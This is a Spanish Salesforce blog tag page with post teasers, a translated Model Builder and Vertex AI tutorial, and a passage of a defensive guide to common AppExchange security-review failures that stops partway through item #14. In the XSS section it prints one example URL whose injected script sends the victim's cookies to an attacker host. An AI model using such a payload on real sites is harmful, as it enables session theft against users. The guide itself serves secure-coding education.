Skip to content

Etiqueta: aplicaciones de salesforce

¿Está maximizando la eficiencia en el análisis de datos? Aprenda cómo

Si utiliza datos de clientes en su trabajo diario, habrá oído hablar del análisis de datos. Pero, ¿qué es exactamente? Y, ¿lo estás utilizando de forma eficiente?

El post ¿Está maximizando la eficiencia en el análisis de datos? Learn How appeared first on Salesforce.

¿Está maximizando la eficiencia en el análisis de datos?

Seguir leyendo

¿Qué es la nube de datos?

Desbloquea los datos atrapados con Data Cloud, la única plataforma de datos nativa del CRM con IA número 1 del mundo.

La única plataforma de datos nativa del CRM con IA número 1 del mundo

El post ¿Qué es Data Cloud? appeared first on Salesforce.

Seguir leyendo

Todo el mundo es un Einstein en el Salesforce World Tour Sídney 2024

Desde la última innovación en IA, historias de Trailblazer y anuncios de subvenciones hasta un nuevo ganador de la Sudadera con capucha dorada, aquí tiene seis momentos destacados del Salesforce World Tour Sídney 2024.

Seguir leyendo

Migración a Hyperforce: Soluciones para una transición fluida a la nube

En nuestra serie “Engineering Energizers” Q&A, profundizamos en las experiencias y conocimientos de los líderes de ingeniería de Salesforce. Hoy nos reunimos con Mahamadou Sylla, miembro senior del personal técnico de Salesforce Engineering. Mahamadou es un miembro clave de nuestro equipo de la lista de materiales (BOM) de Hyperforce, que ayuda a los equipos internos a migrar automáticamente sus recursos en la nube […]

El post Desbloqueando la migración de Hyperforce: Innovative Solutions for a Smooth Transition to the Cloud appeared first on Blog de ingeniería de Salesforce.

Salesforce Engineering Blog

Seguir leyendo

10 preguntas frecuentes sobre la implementación de Salesforce Einstein

¿Qué es Salesforce Einstein? Según la presentación oficial del producto de Salesforce en su sitio web, «Salesforce Einstein es la primera IA integral para CRM. Se trata de un conjunto integrado de tecnologías de IA que hace que la plataforma Customer Success Platform sea más inteligente y lleva la IA a los pioneros de todo el mundo»  Pero, ¿esta breve explicación transmite realmente la profundidad con la que la IA interactúa con […]

El post 10 preguntas frecuentes sobre la implementación de Salesforce Einstein appeared first on Salesforce Ben.

Seguir leyendo

Así es como aconsejo a los directivos ansiosos que aborden la IA generativa

Muchos líderes empresariales están nerviosos en privado por la IA generativa. Saben que tienen que hacer algo, pero no saben qué y cómo. Así es como lo desgloso para ellos.

Seguir leyendo

Cómo aprobar el examen de certificación Salesforce Certified AI Associate

Cómo aprobar el examen de certificación Salesforce Certified AI Associate

Última actualización el 7 de septiembre de 2023 por Rakesh Gupta Como nuevo Salesforce Certified AI Associate, comparto mis experiencias de estudio contigo y quiero que seas el próximo en superarlo Así que, ¡prepárese y sumérjase! 👉 Ya que estás aquí, es posible que desees

El post Cómo aprobar el examen de certificación Salesforce Certified AI Associate appeared first on Campeón de la Automatización.

Cómo aprobar el examen de certificación Salesforce Certified AI Associate appeared first on Campeón de la Automatización

Seguir leyendo

Lleve sus modelos de IA de Google Vertex a la nube de datos ☁️

Lleve sus modelos de IA de Google Vertex a la nube de datos ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Lleve sus modelos de IA de Google Vertex a la nube de datos | Blog de desarrolladores de Salesforce

Model Builder, parte de Einstein Copilot Studio, es una plataforma fácil de usar que le permite crear y poner en funcionamiento modelos de IA en Salesforce. Model Builder es capaz de integrarse profundamente con plataformas de IA externas, como Google Cloud Vertex AI y Amazon SageMaker, para que pueda crear, entrenar e implementar modelos de IA personalizados de forma externa utilizando datos de Salesforce Data Cloud.

Salesforce anunció previamente el lanzamiento de Model Builder con Amazon SageMaker en agosto de 2023. Hoy, nos complace anunciar que los modelos de Google Vertex AI ahora están disponibles de forma general en Model Builder. Como parte de esta última versión, Model Builder ahora admite la autenticación mediante las credenciales de la cuenta del servicio de Google, así como la ingestión de datos en streaming.

Estamos entusiasmados con esta nueva innovación de la asociación ampliada de Salesforce con Google Cloud, que consideramos que tiene un enorme potencial para los desarrolladores. Como enfatizó Kaushal Kurapati, vicepresidente senior de Producto, IA y Búsqueda de Salesforce:

“Con esta asociación con Google Cloud, Model Builder ofrece una manera conveniente para que los clientes aprovechen sus modelos Vertex AI en sus fuentes de datos, flujos de trabajo y aplicaciones de Salesforce y brinden experiencias personalizadas, continuando con la visión de construir una plataforma abierta de Salesforce AI con un ecosistema modelo robusto”.

¿Qué es la capacidad de traer su propio modelo (BYOM)?

Model Builder le permite conectarse fácilmente a modelos predictivos externos, como los de un proveedor de modelos externo o su propio modelo propietario, y utilizarlos en el flujo de trabajo en Salesforce. Por ejemplo, puede utilizar modelos predictivos para calificar clientes potenciales, recomendar productos o detectar la deserción.

La capacidad BYOM de Model Builder le permite integrar fácilmente su modelo con Data Cloud para acceder a predicciones e información en tiempo real, y utilizar esa información de varias maneras, como enriquecer perfiles de clientes, crear segmentos y personalizar la experiencia del usuario final en diferentes canales.

¿Por qué traer su propio modelo a Data Cloud?

Estos son algunos de los beneficios de usar un modelo de Google Cloud Vertex AI con datos de Data Cloud en Model Builder:

  • Le brinda acceso a datos altamente seleccionados, armonizados y casi en tiempo real en Customer 360, en Vertex AI
  • Elimina trabajos de ETL tediosos, costosos y propensos a errores; El enfoque de federación de copia cero para los datos reduce los gastos generales de gestión de copias de datos y los costos de almacenamiento, y mejora la eficiencia.
  • Le permite crear, entrenar, probar y ajustar modelos rápidamente en una única plataforma y conectarlos con Data Cloud.
  • Admite la ingesta de datos en tiempo real, streaming y por lotes para impulsar resultados de IA relevantes
  • Aprovecha las predicciones de Vertex AI para automatizar procesos comerciales en Salesforce Data Cloud con Flow y Apex

Para obtener más información, mire nuestro breve vídeo .

Flujo de trabajo de la aplicación para usar Model Builder con Vertex AI de Google Cloud

En esta sección, analizamos brevemente el flujo de trabajo de la aplicación utilizando Model Builder.

En el flujo de trabajo que se muestra arriba, el conector Python brinda a Vertex AI acceso seguro a los objetos de Salesforce Data Cloud. Después de la autenticación, los especialistas en datos pueden explorar y preparar datos, y realizar tareas de ingeniería de características para el desarrollo y la inferencia de modelos de IA utilizando la plataforma Vertex AI.

Tenga en cuenta que si se realiza una autenticación basada en clave API, se necesita una puerta de enlace API delante del punto final de Vertex AI.

NUEVA característica: Autenticación mediante credenciales de cuenta de servicio de Google

La versión más reciente de Model Builder ahora permite utilizar las credenciales de la cuenta del servicio de Google para la autenticación. Esto se suma a los métodos de autenticación JWT y basados en claves existentes. Para utilizar un flujo de token al portador JWT, ingrese su correo electrónico de la cuenta de servicio, ID de clave privada y clave privada de su cuenta de Google Cloud como se muestra a continuación.

NUEVA característica: Ingestión de datos en streaming

La última versión de Model Builder le permite activar automáticamente una inferencia cuando los datos asignados a la variable de entrada del modelo se cambian en el objeto del modelo de datos de origen (DMO). También ofrecemos inferencia por lotes, pero debe hacer clic en el botón Actualizar manualmente para activar nuevas inferencias. Con la inferencia de transmisión, las nuevas inferencias se activan solo cuando hay un cambio en la variable de entrada.

Para habilitar la inferencia de transmisión, deberá marcar la casilla en ¿Actualizar modelo cuando se actualizan los datos? Como se muestra abajo.

También puede especificar cuáles de las funciones de entrada deben actualizarse seleccionando en el menú desplegable Actualizar puntuación .

Cómo consumir predicciones de tu modelo en Salesforce

Hay dos formas de consumir predicciones: usar acciones invocables en Flow y Apex, o usar Query API para realizar análisis ad hoc.

Utilice Flow Builder y Apex para obtener predicciones

A continuación se muestra un ejemplo de cómo utilizar acciones invocables para modelos de Model Builder en Flow. Una vez que tenga un modelo activado en Model Builder, seleccione Nueva acción → Nube de datos y luego haga clic en el nombre del modelo deseado.

La captura de pantalla siguiente muestra un flujo de ejemplo que utiliza una acción invocable para crear recomendaciones de productos para un cliente. Aquí, un administrador usa Flow Builder para recorrer los registros individuales unificados y verificar si se realizó una compra reciente. Si se realizó la compra, la acción invocable obtiene la inferencia del modelo de Model Builder y recomienda el siguiente mejor producto a un cliente.

Esta acción invocable también se puede invocar en Apex. Vea el ejemplo a continuación.

<dx-code-block title language="apex" code-block="Invocable.Action action = Invocable.Action.createCustomAction('cdpGetMlPrediction', 'EinsteinStudio_model_name');
action.setInvocationParameter('param_variable_1', '10');
action.setInvocationParameter('param_variable_2', '20');
action.setInvocationParameter('param_variable_3', '30');
List results = action.invoke();
if (results.size() > 0 && results[0].isSuccess()) { System.debug(‘Result is: ‘ + results[0].getOutputParameters().get(‘param_score’));
} else { System.debug(‘Error message’ + results[0].getErrors());
} «>

Para obtener instrucciones sobre el uso de acciones invocables en Flow y Apex, consulte la Ayuda de Salesforce .

Utilice Query API para obtener predicciones

Query API es otra forma rápida de obtener puntuaciones de predicción para datos que residen en Data Cloud. Con Query API, puede utilizar el punto final de inferencia y llamar a funciones de predicción para probar el punto final. Vea el ejemplo a continuación.

Para obtener instrucciones sobre el uso de acciones invocables en QueryAPI, consulte la Ayuda de Salesforce .

Conclusión

Model Builder es una plataforma de IA fácil de usar que permite a los equipos de ingeniería y ciencia de datos crear, entrenar e implementar modelos de IA utilizando plataformas y datos externos en Data Cloud. Las plataformas externas incluyen Google Cloud Vertex AI, Amazon SageMaker y otros servicios de IA predictivos o generativos. Una vez que esté listo, podrá utilizar los modelos de IA en tiempo real para impulsar cualquier aplicación de ventas, servicios, marketing, comercio y otras aplicaciones en Salesforce.

Para obtener más información sobre cómo puede mejorar su estrategia de IA utilizando Model Builder, asista a nuestro seminario web gratuito con expertos en IA de Salesforce y Google Cloud.

Recursos adicionales

Sobre los autores

Daryl Martis es el director de producto de Salesforce de Einstein. Tiene más de 10 años de experiencia en planificación, creación, lanzamiento y gestión de soluciones de clase mundial para clientes empresariales, incluidas AI/ML y soluciones en la nube. Síguelo en LinkedIn o Twitter .

Ashish Thapliyal es director sénior de producto en Salesforce y actualmente dirige varias áreas de productos de la plataforma Einstein AI. Síguelo en LinkedIn o Twitter .

Obtenga las últimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a través de Slack o RSS.

Añadir a holgura Suscríbete a RSS

Seguir leyendo

Las 20 vulnerabilidades principales encontradas en la revisión de seguridad de AppExchange ☁️

Las 20 vulnerabilidades principales encontradas en la revisión de seguridad de AppExchange ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Las 20 principales vulnerabilidades encontradas en la revisión de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisión de seguridad de AppExchange es uno de los procesos de revisión más rigurosos de cualquier mercado de aplicaciones en línea. Esta estricta reputación es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor número uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los más altos estándares de seguridad posibles para la protección de los datos de los clientes.

Dicho esto, estos estándares pueden representar un desafío importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener éxito, en orden de prevalencia, esta publicación analizará las 20 razones principales por las que los socios no pasan la revisión de seguridad (a partir de 2023). También cubriremos cómo remediar o prevenir estos problemas.

#1 — Aplicación de CRUD/FLS

¿Qué es esto?

Las vulnerabilidades de aplicación de la seguridad a nivel de objetos y campos (CRUD/FLS) son la razón principal (por un margen significativo) para no pasar la revisión de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene algún código de Salesforce, este problema debe ser su prioridad número uno a resolver antes de enviarlo para una revisión de seguridad.

¿Cómo puedo abordar esto?

Si, durante su proceso de codificación, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querrá hacer una revisión muy exhaustiva de su código base para asegurarse de que no esté realizar cualquier operación de creación/lectura/actualización/eliminación no marcada en objetos o campos.

El método preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer aún no lo admiten completamente (al momento de escribir esta publicación, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protección arrojará falsos positivos). Code Analyzer Graph Engine es actualmente la única herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentación para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, métodos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensión PMD para VS Code pueden ser útiles herramientas que puede utilizar para comprobar su código base. Puede seguir nuestra guía para obtener más información sobre cómo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El escáner Checkmarx debe utilizarse como verificación final de violaciones de CRUD/FLS. Puede ejecutar este análisis a través del Portal de seguridad para socios .

Obtenga más información sobre la aplicación de CRUD/FLS en Trailhead .

#2 – Versión de software insegura

¿Qué es esto?

Esto significa que alguna pieza de software (normalmente, una versión específica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayoría de las veces, es porque estás usando una versión desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la más común), pero también podría ser algo así como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

¿Cómo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnologías que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de código abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas públicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. También puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su código base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentación de falsos positivos para argumentar que un CVE particular registrado no podría aplicarse a su oferta, ya que quizás no esté utilizando la funcionalidad asociada con ese CVE.

#3 – Violación al compartir

¿Qué es esto?

Básicamente, esto significa que tiene clases de Apex en las que no ha agregado explícitamente la palabra clave with sharing al encabezado de la clase, omitiendo así las reglas de uso compartido de una organización.

¿Cómo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y asegúrese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicación a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede aún más claro).

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Obtenga más información sobre cómo compartir el cumplimiento a través de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

¿Qué es esto?

Los secretos no deben estar codificados en el código fuente. Aunque el código puede estar contenido en un paquete administrado donde el código está oculto para los clientes, todavía existen razones por las que esta es una práctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podrá actualizarlo por sí mismo.

¿Cómo puedo abordar esto?

Asegúrese de que no haya secretos codificados en el código fuente, incluso si es un paquete administrado. Asegúrese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso específico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuración personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga más información sobre el almacenamiento seguro de secretos en Trailhead .

#5 — Configuración TLS/SSL

¿Qué es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es válido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si están en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

¿Cómo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisión de seguridad ejecutará este análisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su solución. Si sus terminales no reciben una calificación A por cumplimiento de SSL/TLS, su revisión de seguridad no será aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar más detalles sobre los requisitos de TLS en las notas de la versión .

#6 — Información confidencial en depuración

¿Qué es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra información confidencial, como secretos de aplicaciones, datos del sistema o información de depuración demasiado detallada, a través de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado está habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisión de seguridad de AppExchange.

¿Cómo puedo abordar esto?

En su paquete de Salesforce, asegúrese de buscar en su código fuente todas las declaraciones de depuración del paquete para asegurarse de que no registren información confidencial o secretos.

Asegúrese de que los códigos de error y los mensajes de error en toda su solución tengan un nivel de información apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deberían ver seguimientos de pila completos ni información de depuración detallada. De manera similar, asegúrese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los escáneres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP también pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga más información sobre cómo verificar los seguimientos de la pila e información detallada sobre las excepciones en el número 13.

#7 – CSRF

¿Qué es esto?

La falsificación de solicitudes entre sitios (CSRF) es un tipo de ataque que engaña a una víctima para que ejecute acciones no deseadas en una aplicación web en la que está autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente dañinas, como cambiar direcciones de correo electrónico y contraseñas, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protección mientras se utilizan controladores y métodos estándar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios métodos de acción.

¿Cómo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores únicos y específicos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Además, deben adoptar la práctica de cookies del mismo sitio, que impide que el navegador envíe la cookie junto con solicitudes entre sitios, mitigando así los riesgos de CSRF.

Para páginas de Visualforce:

  • Al crear páginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones automáticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la página.
  • Otra técnica de mitigación implica agregar una página de confirmación intermedia antes de realizar la acción, donde el usuario puede confirmar que tenía la intención de realizar esa acción.

Para componentes Lightning:

  • De manera similar a las páginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que también desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad más complicados, por lo que vale la pena invertir en aprender más sobre él en profundidad. Para los paquetes de Salesforce, existe excelente documentación para desarrolladores y un módulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentación de OWASP .

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.º 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

¿Qué es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyección en los que se insertan secuencias de comandos dañinas en sitios web confiables. Ocurren cuando un atacante explota una aplicación web para enviar código malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesión u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la página.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicación web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta código malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicación podría ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una página sin validarlas adecuadamente (para garantizar que no contenga código/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • Páginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificación de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=”manual” o el componente lightning:formattedRichText sin la validación de entrada adecuada.
  • Parámetros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una página sin validación (lo que lleva a XSS reflejado).

¿Cómo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulación de DOM, pero también recomendamos practicar el filtrado de entrada y la codificación de salida, que incluyen:

  • Evite la manipulación del modelo de objetos de documento (DOM): en su lugar, utilice técnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: asegúrese de que la entrada del usuario no contenga código ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres comúnmente utilizados en el código, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, paréntesis u operadores matemáticos o lógicos como '+', '&' o '-')
  • Codificación de salida : asegúrese de que si el código ejecutable pasara el filtrado de entrada, no se interprete como código al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este módulo de Trailhead explica exactamente cómo mitigar XSS con estas técnicas, y nuestra documentación para desarrolladores también es útil aquí. Para obtener consejos específicos sobre la protección contra XSS en componentes Lightning, consulte la página Seguridad Lightning en la Guía de codificación segura.

Para aplicaciones web que no son de Salesforce, también puede consultar la documentación de OWASP para obtener consejos adicionales.

Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudarle a detectar estos problemas.

#9: JavaScript no está en recursos estáticos

¿Qué es esto?

Muchos paquetes administrados por Salesforce no pasan la revisión de seguridad por no almacenar JavaScript como recursos estáticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La razón principal de esta regla es que permite un control de versiones mucho más seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa está comprometida.

¿Cómo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos estáticos y luego cargarse con una etiqueta <apex:includeScript> en su página (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los módulos JavaScript que importe a su componente o use la función loadScript para cargar un archivo JavaScript de recursos estáticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su código fuente para asegurarse de que todas las bibliotecas de JavaScript estén almacenadas como recursos estáticos, no cargadas dinámicamente a través de hipervínculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina técnica para analizar su caso de uso. Es posible obtener una excepción en ciertos casos.

Obtenga más información sobre este problema en nuestra documentación para desarrolladores .

#10 – Inyección SOQL

¿Qué es esto?

La inyección SOQL es la versión específica de Salesforce de la inyección SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL dinámica. Si la entrada no está validada, puede incluir comandos SOQL que modifican efectivamente la declaración SOQL y engañan a la aplicación para que ejecute comandos no deseados.

¿Cómo puedo abordar esto?

La forma más sencilla de evitar el problema es evitar consultas dinámicas en favor de consultas estáticas y utilizar variables vinculantes. De lo contrario, deberá validar estrictamente las entradas del usuario antes de usarlas en consultas mediante técnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Para obtener más información, consulte nuestro módulo Trailhead o revise nuestra documentación para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener más información sobre la inyección SQL en la guía OWASP . Los escáneres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , también pueden ayudar a identificar problemas de inyección SQL.

#11 — Lightning: carga CSS inadecuada

¿Qué es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una práctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en línea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> también permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que está cargando esté correctamente aislado y no incluya código o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicación Salesforce.

¿Cómo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso estático, use una etiqueta <apex:stylesheet> en su página (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el código fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ningún lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya están bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluiría su CSS en el archivo CSS asociado de su componente o usaría la función loadStyle para cargar un archivo CSS de recursos estáticos.

Puede encontrar más información en nuestra documentación para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia clásica)

¿Qué es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicación Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicación en las páginas de Visualforce que usted controla, de modo que el JavaScript personalizado esté esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pestañas web, componentes de página de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podría ser motivo de falla).

¿Cómo puedo abordar esto?

Esto es algo que deberá verificar manualmente en el código fuente de su paquete Salesforce. Verifique y asegúrese de que no haya utilizado JavaScript para crear botones personalizados, pestañas web, componentes de la página de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado esté incluido solo en el dominio de su aplicación con espacio de nombres en las páginas de VisualForce que controla como parte de su aplicación.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicación (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, asegúrese de eliminarlo. Incluso si su aplicación solo está destinada a usarse en Lightning Experience, si la vulnerabilidad está presente para los usuarios en modo Clásico, el paquete no se puede aprobar.

Esta regla en particular no está especialmente bien documentada, pero puede leer más en el documento Lista de verificación de revisión de seguridad de AppExchange (se requiere iniciar sesión en la comunidad de socios).

#13 — Divulgación de información en páginas de error y excepciones

¿Qué es esto?

En el contexto de la revisión de seguridad de AppExchange, este término se refiere específicamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus páginas de error muestran datos confidenciales del sistema o información de depuración. Por ejemplo, a veces las páginas de error incluyen seguimientos de pila completos que muestran cómo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde está instalada la aplicación. A veces, incluso la información confidencial queda expuesta de esta manera.

¿Cómo puedo abordar esto?

Busque en su base de código llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no válidas, entradas vacías, entradas demasiado largas, acceso a páginas internas sin autenticación, omisión de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

También puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a través de esta guía de OWASP .

#14 — Componentes de Aura: componente externo de CSS

¿Qué es esto?

Se supone que los componentes de Aura son pequeños, autónomos, reutilizables y reposicionables. CSS que evita la encapsulación de componentes (a través de .THIS) o que utiliza un posicionamiento no estándar (por ejemplo, flotante o posición: absoluta o fija) infringe estas garantías y puede interferir con la visualización de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la razón principal de este tipo de falla.

